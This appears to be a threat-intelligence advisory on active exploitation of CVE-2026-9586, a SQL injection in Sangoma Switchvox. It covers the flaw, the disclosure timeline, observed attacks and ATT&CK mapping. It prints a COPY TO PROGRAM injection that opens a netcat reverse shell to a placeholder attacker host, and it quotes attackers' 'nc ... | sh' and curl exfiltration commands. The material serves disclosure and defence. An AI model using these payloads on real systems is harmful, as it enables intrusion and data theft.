# Active Exploitation of Sangoma Switchvox Unauthenticated SQL Injection (CVE-2026-9586) Deploying Reverse Shells

> Attackers are actively exploiting CVE-2026-9586, an unauthenticated SQL injection in Sangoma Switchvox's /pa endpoint that reaches remote code execution via PostgreSQL's COPY TO PROGRAM function. Horizon3 honeypots recorded exploitation since August 30, 2026 — reverse shells, process enumeration, and cookie-signing-key theft — against roughly 4,000 internet-exposed instances (mostly US-based); a patch (8.4.0.2) has been available since July 14, 2026.

- **Published:** 2026-09-02T00:00:00Z
- **Last reviewed:** 2026-09-02T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2300
- **ID:** TL-2026-2300
- **Severity:** CRITICAL (CVSS 9.8)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 7 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-9586

## Description

CVE-2026-9586 is an unauthenticated SQL injection vulnerability in Sangoma Switchvox SMB Edition (versions prior to 8.4.0.2, confirmed on build 104997). The flaw lives in PhoneAppsHandler.pm's handling of the /pa HTTP endpoint, which receives XML phone-provisioning messages containing <PolycomIPPhone> tags. The handler parses the XML with XML::Simple::XMLin() and extracts the PhoneIP field, then concatenates it, unsanitized and unparameterized, directly into a PostgreSQL query string (CWE-89). Because the query runs in a PostgreSQL superuser context, an attacker can escalate the injection into full remote code execution using PostgreSQL's COPY TO PROGRAM functionality — e.g. COPY (SELECT '') TO PROGRAM 'nc <attacker_ip> <port> -e /bin/bash'-- — to spawn a reverse shell with no authentication and a single crafted HTTP request.

Horizon3 (working with Security Risk Advisors, who reported related issues independently) disclosed 12 distinct Switchvox vulnerabilities to Sangoma on April 10, 2026; Sangoma validated a pre-release fix on April 21 and shipped the public patch (8.4.0.2) on July 14, 2026. Horizon3 and Defused Cyber had honeypots live from May 8, 2026 onward, and on August 30, 2026 those honeypots recorded live exploitation: a single source IP, 176.65.148.184, hit multiple honeypots in rapid succession, dropping reverse shells (nc <ip> <port> | sh), then running base64-encoded curl commands that piped `top` output back to a remote server to enumerate running processes. The Hacker News additionally reported that successful exploitation let attackers extract database contents, modify user records, and exfiltrate cookie-signing keys to forge authentication credentials on the compromised instances. By the time of public disclosure (Horizon3 blog September 1, 2026; CISA KEV addition and mainstream press coverage September 2, 2026), Help Net Security reported the picture had broadened: dozens of additional source IPs were exploiting the honeypots, ranging from simple scanning to second-stage malware that initially resembled cryptominers, indicating opportunistic, financially-motivated mass exploitation rather than a single actor's campaign.

Around 4,000 Switchvox instances are visible on Shodan as internet-exposed, the large majority in the United States, giving attackers a wide, largely unpatched target set roughly seven weeks after the fix shipped. CISA added CVE-2026-9586 to the Known Exploited Vulnerabilities catalog on 2026-09-02 with a 2026-09-05 remediation due date under BOD 26-04.

## MITRE ATT&CK

- T1595.002 Vulnerability Scanning
- T1190 Exploit Public-Facing Application
- T1059.004 Unix Shell
- T1027 Obfuscated Files or Information
- T1552 Unsecured Credentials
- T1606.001 Web Cookies
- T1057 Process Discovery
- T1095 Non-Application Layer Protocol
- T1071.001 Web Protocols
- T1565.001 Stored Data Manipulation
- T1496 Resource Hijacking

## Sources

- [Hackers exploit Sangoma Switchvox flaw to deploy reverse shells](https://www.bleepingcomputer.com/news/security/hackers-exploit-sangoma-switchvox-flaw-to-deploy-reverse-shells/)
- [CVE-2026-9586: Sangoma Switchvox RCE](https://horizon3.ai/attack-research/disclosures/cve-2026-9586-sangoma-switchvox-rce/)
- [NVD - CVE-2026-9586](https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-9586)
- [CISA Known Exploited Vulnerabilities Catalog - CVE-2026-9586](https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json)
- [Exploitation of Sangoma Switchvox flaw is underway (CVE-2026-9586)](https://www.helpnetsecurity.com/2026/09/02/exploitation-of-sangoma-switchvox-flaw-underway-cve-2026-9586/)
- [Attackers Exploit Critical Switchvox Flaw to Deploy Reverse Shells](https://thehackernews.com/2026/09/attackers-exploit-critical-switchvox.html)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2300